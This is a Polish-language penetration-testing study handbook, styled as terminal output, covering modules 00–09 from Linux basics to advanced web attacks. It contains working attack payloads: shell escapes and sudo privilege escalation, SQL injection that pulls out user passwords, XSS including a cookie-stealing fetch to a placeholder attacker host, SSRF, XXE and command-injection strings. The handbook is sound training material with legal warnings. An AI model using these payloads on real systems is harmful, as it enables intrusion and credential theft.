root@pentest:~/handbook$ cat README.md
root@pentest:~# ./init_handbook.sh
Moduł 00 · Start

Zanim odpalisz pierwszy skan

Podręcznik prowadzi przez 12 modułów — od fundamentu Linuksa do samodzielnego pentestu z raportem. Do tego dochodzi harmonogram nauki, zestaw cheatsheetów i tracker labów. Treść jest gęsta i praktyczna, pisana pod osobę, która nie boi się terminala.

12
modułów tematycznych
8
cheatsheetów referencyjnych
~5
miesięcy przy 8–10 h/tydz.
[›]
Plan nauki
Harmonogram 5 miesięcy, rytm tygodnia, ścieżka certów.
[01]
Zacznij od modułu 01
Podstawy Linuksa — fundament pod wszystko.
[#]
Cheatsheets
Porty, nmap, SQLi, XSS, shelle, privesc, hashcat.
[✓]
Laby — checklista
Konkretne zadania do odhaczenia per moduł.
⚠ Legalność — przeczytaj raz, pamiętaj zawsze

Testujesz wyłącznie systemy, które są Twoje albo na które masz pisemną zgodę (scope). Skanowanie cudzej infrastruktury bez zgody to przestępstwo (art. 267 i 269b k.k.). Do nauki: własny homelab, celowo podatne maszyny (VulnHub, OWASP Juice Shop), izolowane laby (TryHackMe, HTB, PortSwigger). Nigdy „na produkcji", nigdy „bo ciekawość".

Metodyka — szkielet każdego testu

Niezależnie od celu, pentest ma ten sam rytm. Wraca w modułach 5, 10 i 11:

Pętla ofensywna
  • Recon — zbieranie informacji (pasywny: OSINT, DNS; aktywny: skanowanie).
  • Enumeracja — mapowanie usług, wersji, użytkowników, katalogów.
  • Exploitacja — uzyskanie dostępu przez konkretną podatność.
  • Post-exploitation — privilege escalation, persystencja, pivoting.
  • Raport — findings, PoC, wpływ (CVSS), rekomendacje. To za to płacą.

Standardy do znajomości z nazwy: PTES, OSSTMM, OWASP WSTG (web), MITRE ATT&CK (mapa technik).

Środowisko

  • Kali Linux lub BlackArch jako maszyna atakująca (VM w VirtualBox/VMware/Proxmox).
  • Cele podatne na osobnej, odizolowanej sieci (host-only / internal) — żeby nic nie wyciekło do LAN-u.
  • Snapshoty VM przed każdym eksperymentem — cofniesz się w sekundę.
  • Notatki od dnia pierwszego (Obsidian / CherryTree / markdown). Write-upy = nauka + portfolio.
›_
Cel modułu 00
Postawiony Kali w VM, działający snapshot, założony notatnik. Zaczynasz od modułu 01.
root@pentest:~# cat roadmap.md
Start · Harmonogram

Plan nauki i harmonogram

Realistyczny rozkład obok pracy na etacie: ~5 miesięcy przy 8–10 h/tydzień. Priorytet źródeł: darmowe. Kolejność zgodna z 12 modułami, z akceleracją tam, gdzie masz już fundament.

Fazy

FazaModułyCzasNacisk
101–02 · Linux1–2 tyg.Refresh — szybko przez Bandit
203–04 · Sieci/protokoły2–3 tyg.Domknięcie nmap, iptables, ręczne protokoły
305–06 · Black Box I + CTF3 tyg.Pierwsze pełne łańcuchy na VulnHub
407 · Krypto2 tyg.Crypto101 + CryptoHack
508–09 · Web4–5 tyg.Największy blok — PortSwigger na maksa
610 · Metasploit + WiFi3 tyg.Msf Unleashed + lab WiFi
711–12 · Black Box II + finał3 tyg.Pełny pentest z raportem + publiczny CTF

Rytm tygodnia

Podział ~9 h
  • ~60% praktyka — laby, maszyny, PortSwigger (to buduje umiejętność).
  • ~30% teoria — książki, wideo, dokumentacja.
  • ~10% notatki — write-upy z tego, co przerobiłeś (portfolio!).
✓ Zasada anty-prokrastynacyjna

Nie „uczę się bezpieczeństwa" tylko „dziś zamykam 3 laby SQLi" albo „dziś roota na tej maszynie z VulnHub". Cel mierzalny per sesja. Checklista labów (sekcja Praktyka) jest do tego.

Kiedy warto dołożyć grosz (opcjonalnie)

  • TryHackMe Premium (~$10–14/mies.) na 1–2 miesiące pod moduły 5 i 10 — prowadzone ścieżki oszczędzają czas.
  • Sekurak — książka „Bezpieczeństwo aplikacji webowych" (PL) jako trwała referencja do modułów 8–9–11.

Co dalej — potwierdzenie kompetencji

Ścieżka certów (od taniej do topki)
  • TryHackMe PT1 — praktyczny cert po ścieżce Jr Pentester.
  • PNPT (TCM Security) — świetny stosunek jakości do ceny, realny egzamin z raportem.
  • OSCP (OffSec) — branżowy standard, 24h praktyki.
  • Portfolio write-upów (GitHub / didiel.com) — w offensive liczy się często bardziej niż papier.
root@pentest:~/module-01# man everything
Moduł 01 · Fundament

Podstawy systemu Linux

90% pracy pentestera dzieje się w powłoce. Zanim złamiesz cokolwiek, musisz swobodnie poruszać się po systemie plików, żonglować danymi w potokach i czytać logi. Ten moduł to Twój fundament.

Nawigacja i pliki

nawigacja.sh
# gdzie jestem, co tu jest, co w środku
$ pwd ; ls -la       # -l długi format, -a pliki ukryte
$ cd /var/log
$ cat plik.txt        # cały plik
$ less plik.txt       # stronicowanie (q = wyjście)
$ head -n 20 plik      # pierwsze 20 linii
$ tail -f auth.log     # śledzenie na żywo
$ find / -name "*.conf" -type f 2>/dev/null

Uprawnienia — rwx

Każdy plik ma właściciela, grupę i tryb rwxr-xr-x. Dla pentestera kluczowe są bity SUID/SGID — plik uruchamiany z uprawnieniami właściciela, częsty wektor privilege escalation (moduł 05).

perms.sh
$ chmod 750 skrypt.sh   # rwx r-x ---  (u=7,g=5,o=0)
$ chown user:grupa plik
$ find / -perm -4000 -type f 2>/dev/null   # SUID — złoto przy privesc

Potoki, przekierowania, filtrowanie

pipes.sh
$ cat access.log | grep "404" | wc -l
$ cut -d: -f1 /etc/passwd | sort | uniq    # lista userów
$ awk '{print $1}' access.log | sort | uniq -c | sort -rn  # top IP
$ sed 's/foo/bar/g' plik
$ polecenie > out.txt 2> err.txt < in.txt
$ polecenie > all.txt 2>&1                    # stdout+stderr razem

Identyfikacja i kodowanie danych

encoding.sh
$ echo -n "haslo" | base64          # aGFzbG8=
$ echo "aGFzbG8=" | base64 -d
$ echo -n "abc" | xxd              # podgląd hex
$ echo "tekst" | tr 'A-Za-z' 'N-ZA-Mn-za-m'  # ROT13
$ md5sum plik ; sha256sum plik
$ file zdjecie                       # typ po nagłówku (magic bytes)
✓ Skrót, który oszczędza godziny

CyberChef (gchq.github.io/CyberChef) — graficzny „szwajcarski scyzoryk" do kodowania/dekodowania. W CTF-ach crypto/misc to pierwszy odruch.

Usługi i logi

services.sh
$ systemctl status ssh
$ systemctl start|stop|enable nginx
$ journalctl -u ssh -n 50 --no-pager
$ ls /var/log/            # auth.log, syslog, apache2/…
Do zapamiętania
  • 2>/dev/null ucina błędy przy skanowaniu całego /.
  • find to Twój najlepszy przyjaciel przy recon-ie systemu.
  • SUID (-perm -4000) = potencjalny privesc.
  • Rozpoznawanie base64/hex/ROT to must-have.
›_
Cel modułu 01
Przejść OverTheWire: Bandit poziomy 0–20 bez zaglądania w write-upy.

Źródła

🟢 free
Gra przez SSH — pliki, uprawnienia, kodowanie.
🟢 free
Darmowa książka — kompletne podstawy powłoki.
🟢 free
Kodowanie/dekodowanie w przeglądarce.
? sprawdź się
1.Komenda znajdująca wszystkie pliki SUID w systemie?[+]

find / -perm -4000 -type f 2>/dev/null — bit 4000 to SUID, 2>/dev/null ucina „Permission denied".

2.Top 10 IP w logu Apache — jaki potok?[+]

awk '{print $1}' access.log | sort | uniq -c | sort -rn | head

3.Widzisz aGVsbG8=. Co to i jak zdekodujesz?[+]

Base64 (padding =). echo "aGVsbG8=" | base64 -d → hello.

root@pentest:~/module-02# ps aux | grep skill
Moduł 02 · Fundament

Administracja i skrypty Bash

Przechodzisz od „użytkownika" do „operatora". Procesy, systemd, cron, a przede wszystkim Bash — automatyzacja recon-u i wyrywanie się z ograniczonych powłok to codzienność.

Procesy

proc.sh
$ ps aux | grep nginx        # procesy + kto uruchomił
$ top / htop                 # monitor na żywo
$ kill -9 1337              # ubij PID
$ skrypt.sh &   ;   nohup skrypt.sh &   # w tle / przeżyje wylogowanie
$ jobs ; fg %1

Użytkownicy, cron, systemd

admin.sh
$ id ; whoami ; sudo -l       # kim jestem, co mogę
$ cat /etc/passwd /etc/group
$ crontab -l ; cat /etc/crontab   # zaplanowane zadania (privesc!)
$ systemctl list-units --type=service

sudo -l i crontab to dwa pierwsze odruchy po wejściu na system — pokazują drogę do roota.

Bash — od zera do skryptu recon

scan.sh
#!/bin/bash
# ping-sweep po podsieci /24
net="192.168.1"
for i in $(seq 1 254); do
  ip="$net.$i"
  if ping -c1 -W1 "$ip" &>/dev/null; then
    echo "[+] $ip UP"
  fi
done
Elementy Basha, które musisz znać
  • Shebang #!/bin/bash, uprawnienie chmod +x.
  • Zmienne x=5 (bez spacji!), użycie "$x" w cudzysłowie.
  • Argumenty: $1 $2 … $@ (wszystkie), $# (liczba).
  • Warunki if [[ … ]]; then … fi, pętle for/while.
  • Podstawienie komendy $(polecenie).

Wyjście z restricted shell + analiza plików

„Obejście prostych mechanizmów blokowania użytkownika" to najczęściej ucieczka z ograniczonej powłoki (rbash) albo z paginatora. Kanoniczne źródło: GTFOBins.

escape.sh
# klasyczne ucieczki do pełnej powłoki
:!/bin/sh          # z vi/vim
!/bin/sh           # z less/more (podczas przeglądania)
$ awk 'BEGIN{system("/bin/sh")}'
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
# analiza plików danych
$ strings plik.bin | less   ;   xxd plik | head   ;   file plik
›_
Cel modułu 02
Przejść Bandit 20–34 (cron, skrypty, brute-force nc, restricted shell escape) i napisać własny skrypt Bash do recon-u.

Źródła

🟢 free
Bash, cron, restricted shell escape, SUID.
🟢 free
Katalog nadużyć binarek — ucieczki i privesc.
🟢 free
Darmowa książka o administracji Kali/Debianem.
🟢 free
Rozbiera dowolną komendę na czynniki.
? sprawdź się
1.Dostałeś shell jako zwykły user. Dwie pierwsze komendy pod privesc?[+]

sudo -l (co mogę jako root) oraz crontab -l / cat /etc/crontab (zadania z wyższymi uprawnieniami).

2.Jesteś w less i chcesz shell. Jak?[+]

Podczas przeglądania: !/bin/sh. To samo z vi: :!/bin/sh. Katalog sztuczek: GTFOBins.

root@pentest:~/module-03# nmap -sV target
Moduł 03 · Fundament

Sieci, nmap i iptables

Nie zaatakujesz tego, czego nie widzisz. Model TCP/IP w praktyce, świadome skanowanie nmap-em (nie klepanie flag z pamięci) i kontrola ruchu przez iptables.

TCP vs UDP

  • TCP — połączeniowy, handshake SYN → SYN-ACK → ACK. Niezawodny. Stąd skan SYN.
  • UDP — bezpołączeniowy, „strzel i zapomnij". Szybszy, ale skanowanie trudniejsze. DNS, SNMP, DHCP.
  • Porty: 0–1023 well-known (pełna ściąga w cheatsheecie „Porty i usługi").
✓ Handshake w jednym zdaniu

Skan -sS (SYN / „half-open") wysyła SYN, dostaje SYN-ACK, ale zamiast ACK odsyła RST — nie kończy połączenia, więc jest cichszy i szybszy niż pełny -sT.

nmap — od odkrycia hostów do wersji usług

nmap.sh
# 1. kto żyje w podsieci
$ nmap -sn 192.168.1.0/24
# 2. SYN scan wszystkich portów
$ nmap -sS -p- 10.10.10.5
# 3. wersje usług + skrypty (identyfikacja oprogramowania)
$ nmap -sV -sC -p 22,80,443 10.10.10.5
# 4. agresywny (OS, wersje, skrypty, traceroute)
$ nmap -A -T4 10.10.10.5
# 5. UDP (wolne — wybieraj porty)
$ nmap -sU --top-ports 20 10.10.10.5
# 6. zapis wyników
$ nmap -sV -oN scan.txt -oX scan.xml 10.10.10.5

Pełna tabela flag i przydatnych skryptów NSE — w cheatsheecie „Nmap".

iptables — kontrola przepływu

Trzy łańcuchy w tabeli filter: INPUT (do hosta), OUTPUT (od hosta), FORWARD (przez host). Reguły po kolei — pierwsza pasująca decyduje.

firewall.sh
$ iptables -L -n -v
$ iptables -A INPUT -p tcp --dport 22 -j ACCEPT
$ iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
$ iptables -P INPUT DROP           # polityka domyślna: blokuj
›_
Cel modułu 03
Świadomie skanować nmap-em (umieć wyjaśnić każdą flagę) i postawić na VM firewall iptables z polityką domyślną DROP.

Źródła

🟢 free
Cała książka Fyodora za darmo.
🟢 free
Darmowa seria wideo — TCP/IP, porty, protokoły.
🟢 free
Źródłowa dokumentacja + man iptables.
🟡 freemium
Live Host Discovery / Basic Port Scans (część free).
? sprawdź się
1.Czym różni się -sS od -sT?[+]

-sT kończy pełny handshake (aplikacja loguje połączenie). -sS po SYN-ACK odsyła RST — nie kończy połączenia, rzadziej w logach, szybszy. Wymaga roota.

2.Otwarty port 8080, nieznana usługa. Jak ustalisz co i w jakiej wersji?[+]

nmap -sV -sC -p 8080 <ip> — -sV service/version detection, -sC skrypty rozpoznające.

root@pentest:~/module-04# nc target 80
Moduł 04 · Fundament

Protokoły sieciowe

Każda usługa „mówi" jakimś protokołem. Kto rozumie protokół, widzi, gdzie leży słabość. HTTP, DNS, poczta i bezpieczna komunikacja — z naciskiem na ręczne rozmawianie z usługą przez netcat.

HTTP

http-raw.sh
# ręczny request HTTP przez netcat
$ nc example.com 80
GET / HTTP/1.1
Host: example.com

HTTP/1.1 200 OK
Server: nginx
HTTP w pigułce
  • Metody: GET POST PUT DELETE OPTIONS HEAD.
  • Statusy: 2xx OK · 3xx redirect · 4xx błąd klienta · 5xx serwera.
  • Nagłówki: Cookie, Authorization, User-Agent, Referer, security headers.
  • Sesja zwykle w ciasteczku (Set-Cookie).

DNS

dns.sh
$ dig example.com A ; dig example.com MX ; dig example.com TXT NS
$ dig axfr @ns1.target.com target.com   # próba transferu strefy!

Rekordy: A/AAAA (adres), MX (poczta), NS (serwery nazw), CNAME (alias), TXT (SPF/DKIM). Źle skonfigurowany AXFR = wyciek całej mapy domeny.

Poczta i egzotyka — bannery przez nc

SMTP (25/587), IMAP (143), POP3 (110) rozmawiają tekstowo — świetne do banner grabbing i enumeracji userów. CUPS (631) i Gopher pojawiają się głównie w kontekście SSRF (moduł 9).

smtp.sh
$ nc mail.target.com 25
220 mail.target.com ESMTP
HELO test
VRFY admin          # czy user istnieje (jeśli włączone)

Bezpieczna komunikacja: SSH, TLS, HTTPS

  • SSH — szyfrowany zdalny dostęp; hasło lub klucz (preferuj klucze).
  • TLS — warstwa szyfrująca pod HTTPS/SMTPS/IMAPS; handshake ustala klucz sesji (moduł 7).
  • HTTPS = HTTP w tunelu TLS; certyfikat wiąże tożsamość z kluczem publicznym (PKI).
tls.sh
$ openssl s_client -connect example.com:443   # podejrzyj cert/TLS
$ ssh -v user@host                          # verbose = widać negocjację
›_
Cel modułu 04
Ręcznie „porozmawiać" z usługą przez netcat: request HTTP z palca i SMTP handshake. dig po wszystkich rekordach własnej domeny.

Źródła

🟢 free🇵🇱
Z książki o bezpieczeństwie aplikacji webowych.
🟢 free
Najlepsza referencja HTTP.
🟢 free
Darmowe sekcje o HTTP/HTTPS.
? sprawdź się
1.Co oznacza udany dig axfr i czemu to problem?[+]

Serwer pozwala na transfer całej strefy dowolnemu klientowi — wyciekają wszystkie subdomeny/rekordy (mapa infrastruktury). Powinien być ograniczony do autoryzowanych serwerów.

2.Czemu HTTPS jest bezpieczny, skoro HTTP jest jawny?[+]

HTTPS opakowuje HTTP w TLS: handshake ustala klucz sesji (asymetryka do wymiany, symetryka do transmisji), certyfikat X.509 potwierdza tożsamość serwera. Treść szyfrowana i chroniona przed modyfikacją.

root@pentest:~/module-05# ./enum.sh --target box
Moduł 05 · Ofensywa I

Testy Black Box I

Pierwszy pełny łańcuch: dostajesz IP i nic więcej. Recon → enumeracja → wejście → privilege escalation. Fundamenty (1–4) zamieniają się w realny atak na maszynę.

Recon: pasywny vs aktywny

  • Pasywny — bez dotykania celu: OSINT, DNS, whois, crt.sh, Shodan.
  • Aktywny — skanowanie i enumeracja (nmap z modułu 3, banner grabbing).

Enumeracja usług

Najważniejszy i najczęściej niedoceniany etap. Zasada: „enumerate, then enumerate again".

enum.sh
# SMB (445)
$ enum4linux -a 10.10.10.5
$ smbclient -L //10.10.10.5/ -N
$ crackmapexec smb 10.10.10.5
# FTP (21) — sprawdź anonymous
$ ftp 10.10.10.5     # login: anonymous
# web — katalogi i pliki
$ ffuf -u http://10.10.10.5/FUZZ -w wordlist.txt
$ gobuster dir -u http://10.10.10.5 -w common.txt -x php,txt
$ nikto -h http://10.10.10.5   ;   whatweb http://10.10.10.5

Privilege escalation

Po wejściu jako nieuprzywilejowany user — droga do roota/SYSTEM. Automaty przyspieszają, ale musisz rozumieć wektory (pełna ściąga: cheatsheet „Privilege escalation").

Wektory privesc (Linux)
  • sudo -l — komendy dozwolone bez hasła (+ GTFOBins).
  • Binarki SUID — nadużycie przez GTFOBins.
  • Zadania cron z zapisywalnym skryptem.
  • Błędne uprawnienia (zapisywalny /etc/passwd, klucze SSH).
  • Capabilities (getcap -r / 2>/dev/null), podatne jądro.
privesc.sh
$ ./linpeas.sh    # Linux — automat enumeracji privesc
$ ./pspy64        # podglądaj procesy/cron bez roota
$ .\winPEASx64.exe   # Windows
›_
Cel modułu 05
Pełny łańcuch na maszynie z VulnHub (recon → enum → wejście → privesc do roota) + własny write-up.

Źródła

🟢 free
Podatne maszyny do pobrania na własny Proxmox/VirtualBox.
🟡 freemium
Network Security, Initial Access, Privesc (część free).
🟡 freemium
Prowadzone maszyny w darmowym tierze.
🟢 free
Nieocenione przy privesc przez sudo/SUID.
? sprawdź się
1.Czemu enumeracja jest ważniejsza niż znajomość exploitów?[+]

Exploit działa tylko gdy wiesz co i w jakiej wersji atakujesz. Większość „utknięć" to pominięty port/katalog/share, nie brak exploita. Najpierw pełny obraz celu.

2.sudo -l pokazuje, że możesz uruchomić find jako root. Jak to wykorzystasz?[+]

sudo find . -exec /bin/sh \; -quit — find uruchamia shell z uprawnieniami roota. Składnia dla dowolnej binarki: GTFOBins.

root@pentest:~/module-06# cat flag.txt
Moduł 06 · Ofensywa I

CTF I — dzień warsztatowy

Capture The Flag to poligon: samodzielne, zamknięte zagadki z jasnym rozwiązaniem. Utrwala wszystko z modułów 1–5 i wyrabia „nos" na podatności. Wartością nie jest flaga, tylko technika, która Ci zostaje.

Kategorie CTF

Mapa kategorii
  • General Skills — Linux, powłoka, skrypty (fundament).
  • Web — SQLi, XSS, logika aplikacji (moduły 8–9).
  • Crypto — szyfry, encoding, ataki (moduł 7).
  • Forensics — analiza plików, pamięci, pcap, steganografia.
  • Reverse / Pwn — inżynieria wsteczna i exploitacja binariów.
  • OSINT / Misc — rekonesans, łamigłówki.

Zestaw narzędzi CTF-owca

toolkit.sh
$ strings plik | grep -i flag     # szybki strzał
$ binwalk -e plik                  # ukryte pliki w pliku
$ exiftool zdjecie.jpg             # metadane
$ steghide extract -sf obraz.jpg   # steganografia
$ zsteg obraz.png   ;   pngcheck obraz.png
# + CyberChef w przeglądarce do encoding/crypto
✓ Podejście

Zawsze od najprostszego: file, strings, przeczytaj tytuł/opis zadania (często to podpowiedź). Write-upy dopiero po realnej próbie — inaczej uczysz się rozwiązań, nie myślenia.

›_
Cel modułu 06
Zamknąć wszystkie zadania General Skills w picoGym + kilka z Web i Crypto.

Źródła

🟢 free
Darmowa platforma CMU — wszystkie zadania z poprzednich edycji.
🟢 free
Darmowy podręcznik pod kategorie CTF.
🟢 free
Wprowadzenie do technik CTF.
🟢 free
Kalendarz otwartych CTF-ów online.
root@pentest:~/module-07# hashcat -m 0 hash.txt rockyou.txt
Moduł 07 · Ofensywa I

Kryptografia stosowana

Nie musisz projektować szyfrów — musisz rozumieć, gdzie i jak się je psuje. Hasze, kryptografia symetryczna i asymetryczna: trzy filary bezpiecznej (i niebezpiecznej) komunikacji.

Funkcje haszujące

Hash to jednokierunkowy „odcisk" danych: deterministyczny, jednokierunkowy, odporny na kolizje. Hash to nie szyfrowanie — nie da się go „odszyfrować", tylko zgadnąć wejście.

Kluczowe pojęcia
  • MD5, SHA-1 — przestarzałe (kolizje), wciąż spotykane.
  • SHA-256 — standard integralności.
  • Salt — losowy dodatek przed hashowaniem (niweluje rainbow tables).
  • bcrypt, argon2 — celowo wolne, do haseł.
crack.sh
$ hashid '$2b$...'   ;   hash-identifier   # rozpoznaj typ
$ hashcat -m 0 hash.txt rockyou.txt          # -m 0 = MD5
$ john --wordlist=rockyou.txt hash.txt

Tabela trybów -m (hashcat) i formatów John — cheatsheet „Hashcat / John".

Kryptografia symetryczna

Ten sam klucz szyfruje i deszyfruje (np. AES). Szybka — do właściwej transmisji. Diabeł w trybie działania:

  • ECB — każdy blok osobno → identyczne bloki dają identyczny szyfrogram („ECB penguin"). Nie używać.
  • CBC — bloki łańcuchowane z IV. Podatny na padding oracle przy błędach.
  • GCM — uwierzytelnione szyfrowanie (poufność + integralność). Preferowany.

Kryptografia asymetryczna

Para kluczy: publiczny (szyfruje / weryfikuje podpis) i prywatny (deszyfruje / podpisuje). Rozwiązuje problem wymiany kluczy. Podstawa: RSA, wymiana Diffie-Hellman, podpisy, PKI i certyfikaty.

✓ Jak to się spina w TLS

TLS łączy oba światy: asymetryka służy do bezpiecznej wymiany losowego klucza sesji, a całą transmisję szyfruje szybka symetryka. Certyfikat potwierdza, że klucz publiczny należy do właściwego serwera.

›_
Cel modułu 07
Rozpoznawać encoding/cipher „na oko" i rozumieć różnicę hash vs symetryka vs asymetryka. Złamać przykładowe hasze w hashcat/john.

Źródła

🟢 free
Darmowa książka dla programistów — od podstaw.
🟢 free
Interaktywne zadania — najlepsze dydaktycznie.
🟢 free
Ataki na realne krypto krok po kroku.
🟢 free
Wargame krypto.
? sprawdź się
1.Czemu „odszyfrowanie hasha" to błędne sformułowanie?[+]

Hash jest jednokierunkowy — nie zawiera odwracalnej informacji o wejściu. Nie „odszyfrowujesz", tylko zgadujesz wejście (bruteforce/słownik) i porównujesz hashe. Dlatego salt i wolne funkcje utrudniają łamanie.

2.Czemu tryb ECB jest niebezpieczny?[+]

Szyfruje każdy blok niezależnie tym samym kluczem — identyczne bloki tekstu jawnego dają identyczne bloki szyfrogramu, więc wzorce „prześwitują" (pingwin). CBC/GCM tego nie mają dzięki IV/łańcuchowaniu.

root@pentest:~/module-08# burpsuite &
Moduł 08 · Web

Bezpieczeństwo WWW — podstawy

Największy i najbardziej „zatrudnialny" blok. Aplikacje webowe to gros realnych pentestów. Tu poznajesz Burp Suite, uwierzytelnianie, kontrolę dostępu i królową podatności — SQL Injection — krok po kroku.

Jak myśleć o aplikacji WWW

Klient (przeglądarka) ↔ serwer. Wszystko, co przychodzi od klienta — parametry, nagłówki, ciasteczka — jest niezaufane i modyfikowalne. Tu leży cała gra. Punkt odniesienia: OWASP Top 10.

✓ Burp Suite — Twoje główne narzędzie

Proxy (przechwytuje ruch), Repeater (ręczne modyfikowanie i powtarzanie requestów), Intruder (fuzzing/bruteforce, wolny w Community), Decoder/Comparer. Community Edition wystarcza do całej nauki na PortSwigger Academy. Ustaw przeglądarkę na proxy 127.0.0.1:8080 i zainstaluj certyfikat Burpa.

Setup Burpa w 4 krokach

burp-setup.txt
# 1. Proxy > Options: listener na 127.0.0.1:8080
# 2. Przeglądarka (użyj wbudowanej: Proxy > Intercept > Open Browser)
# 3. Certyfikat: http://burp > CA Certificate > zaimportuj
# 4. Intercept OFF na start, cały ruch leci do HTTP history
    prawy klik na request > Send to Repeater (Ctrl+R)

Uwierzytelnianie użytkownika

Częste słabości
  • Brute-force / credential stuffing przy braku rate-limitingu.
  • Enumeracja userów przez różne komunikaty błędów lub czas odpowiedzi.
  • Słabe / przewidywalne tokeny sesji, brak rotacji po logowaniu.
  • Obejście 2FA, błędna logika resetu hasła (host header, token w URL).

Kontrola dostępu — IDOR

Najczęstszy realny błąd: IDOR (Insecure Direct Object Reference) — zmieniasz id=123 na id=124 i widzisz cudze dane. Do tego privilege escalation (horizontal = inny user, vertical = wyższa rola) i forced browsing (ukryte panele po zgadnięciu URL).

idor.txt
# w Burp Repeater podmieniasz id
GET /api/invoice?id=1024 HTTP/1.1     # moja faktura
GET /api/invoice?id=1025 HTTP/1.1     # czyjaś? → jeśli 200 = IDOR
# vertical: dostęp do panelu admina jako zwykły user
GET /admin/deleteUser?id=5 HTTP/1.1

SQL Injection — walkthrough

Wstrzyknięcie SQL przez niewalidowane wejście. Przejdźmy pełen cykl: wykrycie → określenie liczby kolumn → UNION → ekstrakcja danych.

Krok 1 — wykrycie

sqli-detect.txt
# wstaw pojedynczy apostrof — błąd = potencjalna podatność
?id=1'
# logika boolean: różnica w odpowiedzi = injectable
?id=1' AND 1=1--     # działa normalnie
?id=1' AND 1=2--     # pusto / inaczej

Krok 2 — liczba kolumn

sqli-columns.txt
# zwiększaj aż poleci błąd — ostatnia działająca = liczba kolumn
?id=1' ORDER BY 1--
?id=1' ORDER BY 2--
?id=1' ORDER BY 3--   # błąd na 4 = są 3 kolumny
# alternatywnie: UNION SELECT NULL,NULL,NULL--

Krok 3 — UNION i ekstrakcja

sqli-union.txt
# znajdź kolumnę wyświetlającą tekst
?id=1' UNION SELECT 'a',NULL,NULL--
# wyciągnij wersję i dane
?id=1' UNION SELECT @@version,NULL,NULL--
?id=1' UNION SELECT username,password,NULL FROM users--
// blind SQLi (bez widocznego outputu)

Gdy dane nie wracają w odpowiedzi: boolean-based (wnioskujesz po prawda/fałsz) albo time-based (' OR SLEEP(5)-- — opóźnienie = prawda). Ekstrakcja znak po znaku przez SUBSTRING. Pełne payloady per baza: cheatsheet „SQL Injection".

Automat (ostrożnie, tylko w scope)

sqlmap.sh
$ sqlmap -u "http://cel/item?id=1" --batch --dbs
$ sqlmap -r request.txt --dump -D app -T users   # z zapisanego requestu Burpa
⚠ Obrona (bo pentester ją rekomenduje)

Prawidłowe zabezpieczenie SQLi to prepared statements / parametryzowane zapytania, nie „filtrowanie apostrofów". W raporcie zawsze podajesz konkretną rekomendację, nie samo „jest podatność".

›_
Cel modułu 08
Przejść wszystkie laby SQL injection na PortSwigger (Apprentice + Practitioner). Opanować Burp: Proxy + Repeater.

Źródła

🟢 free
Auth, Access control, SQL injection — darmowe laby. Standard branżowy.
🟢 free
Darmowa wersja — wystarcza do całej Academy.
🟢 free
Celowo podatna aplikacja na własnym Dockerze.
🟢 free🇵🇱
HTTP, Burp, XSS po polsku.
? sprawdź się
1.Aplikacja nie zwraca danych, ale ' AND 1=1-- działa, a ' AND 1=2-- nie. Typ SQLi?[+]

Blind boolean-based — wnioskujesz po tym, czy odpowiedź się zmienia (prawda/fałsz). Ekstrakcja znak po znaku przez SUBSTRING + warunek.

2.Do czego służy ORDER BY N przy SQLi?[+]

Do ustalenia liczby kolumn w zapytaniu — zwiększasz N aż pojawi się błąd. To warunek konieczny do zbudowania działającego UNION SELECT (musi mieć tę samą liczbę kolumn).

3.Zmieniasz account_id i widzisz cudze konto. Nazwa i klasa?[+]

IDOR — klasa: broken access control (OWASP). Aplikacja ufa parametrowi bez sprawdzenia, czy user ma prawo do obiektu.

root@pentest:~/module-09# payload injected
Moduł 09 · Web

Zaawansowane ataki na WWW

Wyżej poziom: XSS, dane z niezaufanego źródła (SSRF, XXE, injection), złożone formaty (deserializacja, JWT) i błędy konfiguracji. Tu uczysz się łączyć podatności w realny impact.

Cross-Site Scripting (XSS)

Wstrzyknięcie kodu JS wykonywanego w przeglądarce ofiary. Trzy typy:

  • Reflected — payload w URL/parametrze, odbity w odpowiedzi (wymaga kliknięcia linku).
  • Stored — zapisany na serwerze (komentarz, profil), uderza w każdego odwiedzającego. Najgroźniejszy.
  • DOM-based — podatność w JS po stronie klienta, bez udziału serwera.

Progresja payloadów (od testu do impaktu)

xss.txt
# 1. test — czy wykonuje się JS
<script>alert(1)</script>
# 2. gdy <script> filtrowany — event handlery
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
# 3. wyjście z atrybutu
"><script>alert(1)</script>
' onmouseover='alert(1)
# 4. impact — kradzież ciasteczka sesji
<script>fetch('https://ATAKUJACY/c='+document.cookie)</script>

Impact: przejęcie sesji, keylogger, akcje w imieniu ofiary. Obrona: kontekstowe escapowanie + CSP. Filtry/WAF często da się obejść (kodowanie, wielkość liter) — pełna ściąga w cheatsheecie „XSS".

Dane z niezaufanego źródła

Rodzina injection
  • SSRF — zmuszasz serwer, by wykonał request tam, gdzie chcesz (np. metadata cloud 169.254.169.254). Tu wracają Gopher/CUPS z modułu 4.
  • XXE — nadużycie parsera XML do czytania plików / SSRF.
  • Path traversal — ../../etc/passwd.
  • Command injection — wstrzyknięcie komendy (; id, | whoami, $(id)).
  • File upload — wgranie web-shella zamiast obrazka.
injection.txt
# SSRF — wskaż serwerowi wewnętrzny zasób
url=http://169.254.169.254/latest/meta-data/
# XXE — czytanie pliku przez encję zewnętrzną
<!DOCTYPE x [<!ENTITY e SYSTEM "file:///etc/passwd">]><x>&e;</x>
# command injection — sprawdź wykonanie polecenia
127.0.0.1; id
127.0.0.1 | whoami
# path traversal
?file=../../../../etc/passwd

Przetwarzanie złożonych danych

  • Deserializacja niezaufanych obiektów → RCE (Java/PHP/Python).
  • Ataki na JWT — alg:none, słaby sekret HMAC (do złamania), pomieszanie algorytmów.
  • Prototype pollution (JS) — nadpisanie właściwości bazowych obiektów.
jwt.sh
# złam słaby sekret HMAC (tryb 16500), potem podpisz własny token
$ hashcat -m 16500 jwt.txt rockyou.txt
# narzędzie do manipulacji/łamania JWT
$ python3 jwt_tool.py <token> -C -d rockyou.txt

Błędy konfiguracji

Nudne, ale skuteczne: domyślne dane logowania, verbose error pages (stack trace), odsłonięte panele admina, źle ustawiony CORS, brak security headers, otwarte katalogi, backupy .git/.env.

›_
Cel modułu 09
Samodzielnie rozwiązać kilka Mystery Labs PortSwigger (losowy lab bez podanego typu podatności — trening jak w realu).

Źródła

🟢 free
Pełny zestaw zaawansowanych ścieżek.
🟢 free
Losowy lab bez wiedzy o typie podatności.
🟢 free
Metodyka testowania aplikacji web.
? sprawdź się
1.Czym stored XSS różni się od reflected i czemu jest groźniejszy?[+]

